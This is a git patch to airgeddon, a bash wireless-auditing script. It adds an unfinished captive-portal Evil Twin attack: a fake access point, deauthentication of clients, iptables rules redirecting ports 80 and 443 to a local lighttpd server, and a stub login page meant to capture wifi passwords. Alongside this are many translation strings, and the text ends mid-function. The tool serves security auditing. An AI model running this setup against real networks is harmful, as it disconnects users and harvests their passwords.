From 8f9904581b1b6cb06c3c37e302104a477b6e15a1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 6 Sep 2016 22:07:19 +0200 Subject: [PATCH 01/23] v4.3 not finished --- README.md | 14 +- airgeddon.sh | 618 ++++++++++++++++++++++++++++++++++---------------- changelog.txt | 5 + 3 files changed, 437 insertions(+), 200 deletions(-) diff --git a/README.md b/README.md index 0cf144af6..d0bd72d90 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
- Cleaning and optimizing Handshake captured files.
- Offline password decrypt on WPA/WPA2 captured files (dictionary, bruteforce and rule based).
-- 3/4 Evil Twin attacks: Evil Twin with integrated sniffing, with sslstrip and "only AP" version to sniff with external sniffer. Captive portal mode coming soon.
+- 4 Evil Twin attacks: Evil Twin with integrated sniffing, with sslstrip, "only AP" version to sniff with external sniffer and "black hole" captive portal to capture wifi passwords.
- Compatibility with many Linux distros (see requirements section).
- Easy targeting and selection in every section.
- Drag and drop files on console window for entering file paths.
@@ -22,7 +22,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.

Tested on these compatible Linux distros:
-*-Kali 2.0, 2016.1 and arm versions (Raspberry Pi)*
+*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
*-Wifislax 4.11.1 and 4.12*
*-Backbox 4.5.1 and 4.6*
*-Parrot 2.2.1 and 3.1.1*
@@ -69,6 +69,7 @@ iptables -> iptables ettercap -> ettercap / ettercap-text-only / ettercap-graphical etterlog -> ettercap / ettercap-text-only / ettercap-graphical sslstrip -> sslstrip +lighttpd -> lighttpd ``` Update tools: <- *not necessary to work, only used for auto-update*
``` @@ -115,11 +116,11 @@ You can join the project:
-Testing and feedback is needed too.

*For collaborating translators:*
-You can take the strings to translate from the code or you can ask me directly by mail. I'll inform you how to proceed.
+You can take the strings to translate from the code or you can ask me directly by mail. I'll inform you how to proceed or to add you as a collaborator on github.

*For collaborating developers:*
Debug mode was implemented for faster development skipping intro and initial checks. Use it setting var *"debug_mode"* to 1
-Please, respect the code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).
+Please, respect the tab indentation, code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).

*For beta testers:*
You can download the master version or the beta testing version from the development branch called `dev` @@ -130,11 +131,12 @@ See
-**Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
+**Kcdtv** (@kcdtv on github) for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
+**Magix** (@magixgf on github) for helping and supporting me and for our coffee bets. :coffee:
**El padrino** for Catalan translations.
**Beans** for Portuguese translations.
-**MiAl** for Russian translations.
+**MiAl** (@Mi-Al on github) for Russian translations.

Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
diff --git a/airgeddon.sh b/airgeddon.sh index 4425f4a59..f6e8494f3 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1,6 +1,6 @@ #!/bin/bash -airgeddon_version="4.2" +airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 debug_mode=0 @@ -57,6 +57,7 @@ optional_tools_names=( "ettercap" "etterlog" "sslstrip" + "lighttpd" ) declare -A optional_tools=( @@ -71,6 +72,7 @@ declare -A optional_tools=( [${optional_tools_names[8]}]=0 [${optional_tools_names[9]}]=0 [${optional_tools_names[10]}]=0 + [${optional_tools_names[11]}]=0 ) update_tools=("curl") @@ -94,6 +96,7 @@ declare -A possible_package_names=( [${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap [${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog [${optional_tools_names[10]}]="sslstrip" #sslstrip + [${optional_tools_names[11]}]="lighttpd" #lighttpd [${update_tools[0]}]="curl" #curl ) @@ -129,6 +132,9 @@ sslstrip_file="ag.sslstrip.log" ettercap_file="ag.ettercaplog" hostapd_file="ag.hostapd.conf" control_file="ag.control.sh" +webserver_file="ag.lighttpd.conf" +webdir="www/" +indexfile="index.htm" possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" @@ -164,7 +170,7 @@ declare handshake_attack_hints=(142) declare decrypt_hints=(171 178 179 208 244) declare select_interface_hints=(246) declare language_hints=(250) -declare evil_twin_hints=(254 258 264 269 286 309) +declare evil_twin_hints=(254 258 264 269 309) declare evil_twin_dos_hints=(267 268) #Charset vars @@ -290,7 +296,7 @@ function language_strings() { et_misc_texts["english",8]="Airgeddon. Evil Twin attack captured passwords" et_misc_texts["spanish",8]="Airgeddon. Contraseñas capturadas en ataque Evil Twin" - et_misc_texts["french",8]="Airgeddon. Mots de passe capturés par attaque Evil Twin" + et_misc_texts["french",8]="Airgeddon. Mot de passes capturé pendant l'attaque Evil Twin" et_misc_texts["catalan",8]="Airgeddon. Contrasenyes capturades amb atac Evil Twin" et_misc_texts["portuguese",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" et_misc_texts["russian",8]="Airgeddon. Атака Злой Двойник захватила пароли" @@ -2298,12 +2304,12 @@ function language_strings() { arr["portuguese",285]="$pending_of_translation Verificou-se já que tem uma interface com acesso à internet seleccionado nesta sessão ["${normal_color}"$internet_inferface"${blue_color}"]" arr["russian",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением ["${normal_color}"$internet_interface"${blue_color}"]" - arr["english",286]="The unique Evil Twin attack in which it's not necessary to have an additional interface with internet access is the captive portal attack" - arr["spanish",286]="El único ataque de Evil Twin en el que no es necesario tener una interfaz adicional con acceso a internet es el del portal cautivo" - arr["french",286]="La seule attaque Evil Twin pour laquelle il n'est pas nécessaire d'avoir une interface supplémentaire avec accès à internet est l'attaque portail captif" - arr["catalan",286]="L'únic atac d'Evil Twin en què no cal tenir una interfície addicional amb accés a internet és el del portal captiu" - arr["portuguese",286]="$pending_of_translation O único ataque Evil Twin em que não é necessário ter uma interface adicional com acesso à internet é o portal cativo" - arr["russian",286]="Уникальная атака Злой Двойник в которой нет необходимости иметь дополнительный интерфейс с Интернет доступом - это атака с перехватывающим порталом" + arr["english",286]="If you don't have a captured Handshake file from the target network you can get it using this script choosing the appropriate submenu option before coming here to launch this attack" + arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo con este script en el submenú adecuado antes de venir aquí a lanzar este ataque" + arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un fichier de Handshake capturé de la cible réseau peut obtenir avec ce script dans le sous-menu approprié avant de venir ici pour lancer cette attaque" + arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" + arr["portuguese",286]="$pending_of_translation Se você não tem um arquivo handshake capturado a partir do alvo da rede pode obtê-lo com este script no submenu apropriado antes de vir aqui para lançar este ataque" + arr["russian",286]="$pending_of_translation Если у вас нет файла квитирующего захваченного из целевой сети может получить его с помощью этого сценария в соответствующем подменю до приезда сюда, чтобы запустить эту атаку" arr["english",287]="The script will check for internet access. Please be patient..." arr["spanish",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -2412,35 +2418,35 @@ function language_strings() { arr["english",302]="Do you want to store in a file the sniffed captured passwords? "${blue_color}"If you answer no (\"n\") they will be only shown on screen "${normal_color}"[y/n]" arr["spanish",302]="¿Deseas guardar en un fichero las contraseñas obtenidas del sniffing? "${blue_color}"Si respondes que no (\"n\") solo se mostrarán por pantalla "${normal_color}"[y/n]" - arr["french",302]="Voulez-vous enregistrer dans un fichier les mots de passe capturés ? "${blue_color}"Si vous répondez non (\"n\"), ils seronts uniquements affichés à l'écran "${normal_color}"[y/n]" + arr["french",302]="Voulez vous garder les mots de passe capturés dans un fichier? "${blue_color}"Si vous répondez non (\"n\") les mots de passe s'afficheront à l'écran "${normal_color}"[y/n]" arr["catalan",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? "${blue_color}"Si respons que no (\"n\") només es mostraran per pantalla "${normal_color}"[y/n]" arr["portuguese",302]="$pending_of_translation Você deseja manter senhas em um arquivo obtido a partir de cheirar? "${blue_color}"Se você responder não (\"n\") só será mostrado na tela "${normal_color}"[y/n]" arr["russian",302]=" Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" arr["english",303]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_ettercap_logpath]" arr["spanish",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_ettercap_logpath]" - arr["french",303]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_ettercap_logpath]" + arr["french",303]="Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_ettercap_logpath]" arr["catalan",303]="Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_ettercap_logpath]" arr["portuguese",303]="$pending_of_translation Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_ettercap_logpath]" arr["russian",303]="Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_ettercap_logpath]" arr["english",304]="Parsing sniffer log..." arr["spanish",304]="Analizando log del sniffer.." - arr["french",304]="Analyse du log de capture de données..." + arr["french",304]="Analyse du log des captures..." arr["catalan",304]="Analitzant log del sniffer..." arr["portuguese",304]="$pending_of_translation Sniffer log análise..." arr["russian",304]="Разбор журнала сниффера..." arr["english",305]="No passwords detected on sniffers's log. File will not be saved" arr["spanish",305]="No se ha encontrado ninguna contraseña en el log del sniffer. No se guardará el fichero" - arr["french",305]="Aucun mot de passe détecté dans le log de capture. Le fichier ne sera pas sauvegardé" + arr["french",305]="Aucun mot de passe n'a été détecté. Le fichier ne sera pas sauvegardé" arr["catalan",305]="No s'ha trobat cap contrasenya en el log del sniffer. No es guarda el fitxer" arr["portuguese",305]="$pending_of_translation Ele não foi encontrado qualquer registo de senha sniffer. O arquivo não será salvo" arr["russian",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" arr["english",306]="Passwords captured by sniffer. File saved at "${normal_color}"[$ettercap_logpath]" arr["spanish",306]="El sniffer ha capturado contraseñas. Fichero salvado en "${normal_color}"[$ettercap_logpath]" - arr["french",306]="Le sniffer a capturé des mots de passe. Fichier enregistré dans "${normal_color}"[$ettercap_logpath]" + arr["french",306]="Des mots de passe ont été capturé et ont été enregistré dans "${normal_color}"[$ettercap_logpath]" arr["catalan",306]="El sniffer ha capturat contrasenyes. Fitxer desat a "${normal_color}"[$ettercap_logpath]" arr["portuguese",306]="$pending_of_translation O sniffer capturou senhas. I arquivo salvo no "${normal_color}"[$ettercap_logpath]" arr["russian",306]="Сниффер захватил пароли. Файл сохранён в "${normal_color}"[$ettercap_logpath]" @@ -2462,10 +2468,59 @@ function language_strings() { arr["english",309]="Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected" arr["spanish",309]="La tecnica sslstrip no es infalible. Depende de muchos factores y no funciona siempre. Algunos navegadores como las últimas versiones de Mozilla Firefox no se ven afectados" arr["french",309]="La technique de sslstrip n'est pas à toute épreuve. Cela dépend de nombreux facteurs et ne fonctionne pas toujours. Certains navigateurs tels que Mozilla Firefox dans leurs versions les plus récentes ne sont pas vulnérables" - arr["catalan",309]="$pending_of_translation La tècnica sslstrip no és infal·lible. Depèn de molts factors i no funciona sempre. Alguns navegadors com les últimes versions de Mozilla Firefox no es veuen afectats" + arr["catalan",309]="La tècnica sslstrip no és infal·lible. Depèn de molts factors i no funciona sempre. Alguns navegadors com les últimes versions de Mozilla Firefox no es veuen afectats" arr["portuguese",309]="$pending_of_translation A técnica sslstrip não é infalível. Depende de muitos factores e nem sempre funciona. Alguns navegadores como o Mozilla Firefox versões mais recentes não são afetados" arr["russian",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" + arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} + arr["spanish",310]="Fichero de handshake seleccionado: "${pink_color}"Ninguno"${normal_color} + arr["french",310]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"Aucun"${normal_color} + arr["catalan",310]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"Ningú"${normal_color} + arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} + arr["russian",310]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"None"${normal_color} + + arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} + arr["spanish",311]="Fichero de handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} + arr["french",311]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} + arr["catalan",311]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} + arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} + arr["russian",311]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$et_handshake"${normal_color} + + arr["english",312]="No selected Handshake file detected during this session..." + arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." + arr["french",312]="$pending_of_translation Aucun fichier Handshake sélectionné détecté durant cette session..." + arr["catalan",312]="$pending_of_translation No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." + arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." + arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." + + arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" + arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" + arr["french",313]="$pending_of_translation Fichier Handshake détecté sélectionné dans cette session "${normal_color}"$et_handshake"${blue_color}"]" + arr["catalan",313]="$pending_of_translation S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" + arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" + arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" + + arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} + arr["spanish",314]="Fichero de handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} + arr["french",314]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$enteredpath"${normal_color} + arr["catalan",314]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} + arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} + arr["russian",314]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$enteredpath"${normal_color} + + arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file. Network data for the attack will be obtained from the file" + arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2. Los datos de la red para el ataque serán obtenidos del fichero" + arr["french",315]="$pending_of_translation Cette attaque exige que vous avez déjà capturé un fichier à partir d'un réseau Handshake WPA/WPA2. Réseau de données pour l'attaque être obtenu à partir du fichier" + arr["catalan",315]="$pending_of_translation Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" + arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2. Rede de dados para o ataque ser obtido a partir do ficheiro" + arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2. Сеть передачи данных для атаки можно получить из файла" + + arr["english",316]="For this attack is automatically selected Aireplay deauth method" + arr["spanish",316]="Para este ataque se ha seleccionado automáticamente el método de desautenticación Aireplay" + arr["french",316]="$pending_of_translation Pour cette attaque est automatiquement sélectionné la méthode deauth Aireplay" + arr["catalan",316]="$pending_of_translation Per aquest atac s'ha seleccionat automàticament el mètode de desautenticación Aireplay" + arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" + arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" + case "$3" in "yellow") interrupt_checkpoint ${2} ${3} @@ -3346,12 +3401,10 @@ function print_iface_selected() { function print_iface_internet_selected() { - if [ "$et_mode" != "et_captive_portal" ]; then - if [ -z "$internet_interface" ]; then - language_strings ${language} 283 "blue" - else - language_strings ${language} 282 "blue" - fi + if [ -z "$internet_interface" ]; then + language_strings ${language} 283 "blue" + else + language_strings ${language} 282 "blue" fi } @@ -3402,26 +3455,28 @@ function print_all_target_vars_et() { function print_et_target_vars() { - if [ -n "$bssid" ]; then - language_strings ${language} 43 "blue" - else - language_strings ${language} 271 "blue" - fi + if [ "$et_mode" != "et_captive_portal" ]; then + if [ -n "$bssid" ]; then + language_strings ${language} 43 "blue" + else + language_strings ${language} 271 "blue" + fi - if [ -n "$channel" ]; then - language_strings ${language} 44 "blue" - else - language_strings ${language} 273 "blue" - fi + if [ -n "$channel" ]; then + language_strings ${language} 44 "blue" + else + language_strings ${language} 273 "blue" + fi - if [ -n "$essid" ]; then - if [ "$essid" = "(Hidden Network)" ]; then - language_strings ${language} 45 "blue" + if [ -n "$essid" ]; then + if [ "$essid" = "(Hidden Network)" ]; then + language_strings ${language} 45 "blue" + else + language_strings ${language} 46 "blue" + fi else - language_strings ${language} 46 "blue" + language_strings ${language} 274 "blue" fi - else - language_strings ${language} 274 "blue" fi if [ "$current_menu" != "et_dos_menu" ]; then @@ -3432,6 +3487,17 @@ function print_et_target_vars() { fi fi + if [ "$et_mode" = "et_captive_portal" ]; then + if [ -n "$et_handshake" ]; then + language_strings ${language} 311 "blue" + else + if [ -n "$enteredpath" ]; then + language_strings ${language} 314 "blue" + else + language_strings ${language} 310 "blue" + fi + fi + fi } function print_decrypt_vars() { @@ -3467,6 +3533,7 @@ function initialize_menu_options_dependencies() { et_onlyap_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]}) et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]}) et_sniffing_sslstrip_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]} ${optional_tools_names[10]}) + et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]} ${optional_tools_names[2]}) } function initialize_menu_and_print_selections() { @@ -3501,7 +3568,6 @@ function initialize_menu_and_print_selections() { et_processes=() print_iface_selected print_all_target_vars_et - print_iface_internet_selected ;; "et_dos_menu") print_iface_selected @@ -3528,6 +3594,8 @@ function clean_tmpfiles() { rm -rf "$tmpdir$control_file" > /dev/null 2>&1 rm -rf "$tmpdir$ettercap_file"* > /dev/null 2>&1 rm -rf "$tmpdir$sslstrip_file" > /dev/null 2>&1 + rm -rf "$tmpdir$webserver_file" > /dev/null 2>&1 + rm -rf -R "$tmpdir$webdir" > /dev/null 2>&1 if [ ${dhcpd_path_changed} -eq 1 ]; then rm -rf "$dhcp_path" > /dev/null 2>&1 fi @@ -3535,7 +3603,10 @@ function clean_tmpfiles() { function clean_routing_rules() { - echo "0" > /proc/sys/net/ipv4/ip_forward + if [ -n ${original_routing_state} ]; then + echo "$original_routing_state" > /proc/sys/net/ipv4/ip_forward + fi + iptables -F iptables -t nat -F iptables -X @@ -3714,7 +3785,7 @@ function evil_twin_attacks_menu() { language_strings ${language} 259 et_sniffing_dependencies[@] language_strings ${language} 261 et_sniffing_sslstrip_dependencies[@] language_strings ${language} 262 "separator" - language_strings ${language} 263 "under_construction" + language_strings ${language} 263 et_captive_portal_dependencies[@] print_simple_separator language_strings ${language} 260 print_hint ${current_menu} @@ -3782,22 +3853,20 @@ function evil_twin_attacks_menu() { fi ;; 8) - under_construction_message - #TODO: Evil Twin AP with captive portal - #contains_element "$et_option" "${forbidden_options[@]}" - #if [ "$?" = "0" ]; then - # forbidden_menu_option - #else - # check_interface_wifi - # if [ "$?" = "0" ]; then - # et_mode="et_captive_portal" - # et_dos_menu - # else - # echo - # language_strings ${language} 281 "yellow" - # language_strings ${language} 115 "read" - # fi - #fi + contains_element "$et_option" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_captive_portal" + et_dos_menu + else + echo + language_strings ${language} 281 "yellow" + language_strings ${language} 115 "read" + fi + fi ;; 9) return @@ -3995,14 +4064,26 @@ function select_wpa_bssid_target_from_captured_file() { fi declare -A bssids_detected + declare -A essids_detected option_counter=0 + next_is_essid=0 for item in ${nets_from_file}; do - if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + if [ ${next_is_essid} -eq 1 ]; then + essids_detected["$option_counter"]="$item" + next_is_essid=0 + elif [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$[option_counter + 1] bssids_detected["$option_counter"]=${item} + next_is_essid=1 + elif [[ ${item} =~ ^WPA2?$ ]]; then + if [ ${essids_detected["$option_counter"]} != "$last_item" ]; then + essids_detected["$option_counter"]+=" $last_item" + fi fi + last_item=${item} done + target_number=0 for targetbssid in ${bssids_detected[@]}; do if [ "$bssid" = "$targetbssid" ]; then language_strings ${language} 192 "blue" @@ -4010,10 +4091,14 @@ function select_wpa_bssid_target_from_captured_file() { if [ ${yesno} = "y" ]; then bssid=${targetbssid} + if [ "$2" = "evil_twin" ]; then + essid=essids_detected[${target_number}] + fi return 0 fi break fi + target_number=$[target_number + 1] done bssid_autoselected=0 @@ -4057,6 +4142,9 @@ function select_wpa_bssid_target_from_captured_file() { language_strings ${language} 217 "blue" fi + if [ "$2" = "evil_twin" ]; then + essid="${essids_detected["$target_network_on_file"]}" + fi return 0 } @@ -4457,6 +4545,28 @@ function exec_et_sniffing_sslstrip_attack() { fi } +function exec_et_captive_portal_attack() { + + set_hostapd_config + launch_fake_ap + set_dhcp_config + set_std_internet_routing_rules + launch_dhcp_server + exec_et_deauth + set_control_script + launch_control_window + set_webserver_config + set_captive_portal_page + launch_webserver + + echo + language_strings ${language} 298 "yellow" + language_strings ${language} 115 "read" + + kill_et_windows + restore_et_interface +} + function set_hostapd_config() { tmpfiles_toclean=1 @@ -4568,19 +4678,29 @@ function set_dhcp_config() { function set_std_internet_routing_rules() { routing_toclean=1 + original_routing_state=$(cat /proc/sys/net/ipv4/ip_forward) ifconfig ${interface} ${et_ip_router} netmask ${std_c_mask} > /dev/null 2>&1 - echo "1" > /proc/sys/net/ipv4/ip_forward iptables -F iptables -t nat -F + iptables -X + iptables -t nat -X + iptables -P FORWARD ACCEPT - if [ "$et_mode" = "et_sniffing_sslstrip" ]; then + echo "1" > /proc/sys/net/ipv4/ip_forward + + if [ "$et_mode" = "et_captive_portal" ]; then + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${et_ip_router}:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${et_ip_router}:80 + iptables -A INPUT -p tcp --destination-port 80 -j ACCEPT + iptables -A INPUT -p tcp --destination-port 443 -j ACCEPT + elif [ "$et_mode" = "et_sniffing_sslstrip" ]; then iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ${sslstrip_port} iptables -A INPUT -p tcp --destination-port ${sslstrip_port} -j ACCEPT fi - iptables -t nat -A POSTROUTING -j MASQUERADE + + iptables -t nat -A POSTROUTING -o ${internet_interface} -j MASQUERADE iptables -A INPUT -p icmp --icmp-type 8 -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT - iptables -A OUTPUT -p icmp --icmp-type 0 -s ${et_ip_router}/${ip_mask} -d ${et_ip_range}/${std_c_mask} -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -s ${et_ip_range}/${std_c_mask} -d ${et_ip_router}/${ip_mask} -j DROP sleep 2 } @@ -4646,6 +4766,8 @@ function exec_et_deauth() { function set_control_script() { + #TODO set control rules for captive portal + rm -rf "$tmpdir$control_file" > /dev/null 2>&1 exec 3>"$tmpdir$control_file" @@ -4739,6 +4861,56 @@ function launch_control_window() { et_processes+=($!) } +function set_webserver_config() { + + rm -rf "$tmpdir$webserver_file" > /dev/null 2>&1 + + echo -e "server.document-root = \"$tmpdir$webdir\"\n" > "$tmpdir$webserver_file" + echo -e "server.modules = (" >> "$tmpdir$webserver_file" + echo -e "\"mod_accesslog\"," >> "$tmpdir$webserver_file" + echo -e "\"mod_fastcgi\"," >> "$tmpdir$webserver_file" + echo -e "\"mod_rewrite\"," >> "$tmpdir$webserver_file" + echo -e "\"mod_auth\"," >> "$tmpdir$webserver_file" + echo -e "\"mod_redirect\"" >> "$tmpdir$webserver_file" + echo -e ")\n" >> "$tmpdir$webserver_file" + echo -e "server.port = 80\n" >> "$tmpdir$webserver_file" + echo -e "index-file.names = ( \"$indexfile\" )\n" >> "$tmpdir$webserver_file" + echo -e "server.error-handler-404 = \"/\"\n" >> "$tmpdir$webserver_file" + echo -e "mimetype.assign = (" >> "$tmpdir$webserver_file" + echo -e "\".html\" => \"text/html\"," >> "$tmpdir$webserver_file" + echo -e "\".htm\" => \"text/html\"," >> "$tmpdir$webserver_file" + echo -e "\".txt\" => \"text/plain\"," >> "$tmpdir$webserver_file" + echo -e "\".jpg\" => \"image/jpeg\"," >> "$tmpdir$webserver_file" + echo -e "\".png\" => \"image/png\"," >> "$tmpdir$webserver_file" + echo -e "\".css\" => \"text/css\"" >> "$tmpdir$webserver_file" + echo -e ")" >> "$tmpdir$webserver_file" + sleep 2 +} + +function set_captive_portal_page() { + + rm -rf -R "$tmpdir$webdir" > /dev/null 2>&1 + mkdir "$tmpdir$webdir" > /dev/null 2>&1 + + #TODO make captive portal page + + echo -e "" > "$tmpdir$webdir$indexfile" + echo -e "Login page" >> "$tmpdir$webdir$indexfile" + echo -e "" >> "$tmpdir$webdir$indexfile" + echo -e "Test captive portal page. Pending to do." >> "$tmpdir$webdir$indexfile" + echo -e "" >> "$tmpdir$webdir$indexfile" + echo -e "" >> "$tmpdir$webdir$indexfile" + sleep 3 +} + +function launch_webserver() { + + killall lighttpd > /dev/null 2>&1 + recalculate_windows_sizes + xterm -hold -bg black -fg yellow -geometry ${g3_bottomright_window} -T "Webserver" -e "lighttpd -f \"$tmpdir$webserver_file\"" > /dev/null 2>&1 & + et_processes+=($!) +} + function launch_sslstrip() { rm -rf "$tmpdir$sslstrip_file" > /dev/null 2>&1 @@ -5159,6 +5331,11 @@ function read_path() { fi validate_path "$ettercap_logpath" ${1} ;; + "ethandshake") + language_strings ${language} 154 "green" + read_and_clean_path "et_handshake" + check_file_exists "$et_handshake" + ;; esac validpath="$?" @@ -5444,173 +5621,225 @@ function select_target() { function et_prerequisites() { current_menu="evil_twin_attacks_menu" + clear case ${et_mode} in "et_onlyap") - clear language_strings ${language} 270 "title" - print_iface_selected - print_et_target_vars - print_iface_internet_selected - print_hint ${current_menu} - echo - language_strings ${language} 275 "blue" - echo - language_strings ${language} 276 "yellow" - print_simple_separator - ask_yesno 277 - if [ ${yesno} = "n" ]; then - return_to_et_main_menu=1 - return - fi - ask_bssid - ask_channel - ask_essid - return_to_et_main_menu=1 - echo - language_strings ${language} 296 "yellow" - language_strings ${language} 115 "read" - prepare_et_interface - exec_et_onlyap_attack ;; "et_sniffing") - clear language_strings ${language} 291 "title" - print_iface_selected - print_et_target_vars - print_iface_internet_selected - print_hint ${current_menu} - echo - language_strings ${language} 275 "blue" - echo - language_strings ${language} 276 "yellow" - print_simple_separator - ask_yesno 277 - if [ ${yesno} = "n" ]; then - return_to_et_main_menu=1 - return - fi - ask_bssid - ask_channel - ask_essid - manage_ettercap_log - return_to_et_main_menu=1 - echo - language_strings ${language} 296 "yellow" - language_strings ${language} 115 "read" - prepare_et_interface - exec_et_sniffing_attack ;; "et_sniffing_sslstrip") language_strings ${language} 292 "title" - print_iface_selected - print_et_target_vars - print_iface_internet_selected - print_hint ${current_menu} - echo - language_strings ${language} 275 "blue" - echo - language_strings ${language} 276 "yellow" - print_simple_separator - ask_yesno 277 - if [ ${yesno} = "n" ]; then - return_to_et_main_menu=1 - return - fi - ask_bssid - ask_channel - ask_essid - manage_ettercap_log + ;; + "et_captive_portal") + language_strings ${language} 293 "title" + ;; + esac + + print_iface_selected + print_et_target_vars + print_iface_internet_selected + print_hint ${current_menu} + echo + + if [ "$et_mode" != "et_captive_portal" ]; then + language_strings ${language} 275 "blue" + echo + language_strings ${language} 276 "yellow" + print_simple_separator + ask_yesno 277 + if [ ${yesno} = "n" ]; then return_to_et_main_menu=1 - echo - language_strings ${language} 296 "yellow" - language_strings ${language} 115 "read" - prepare_et_interface + return + fi + fi + + if [ "$et_mode" = "et_captive_portal" ]; then + language_strings ${language} 316 "blue" + echo + language_strings ${language} 315 "yellow" + 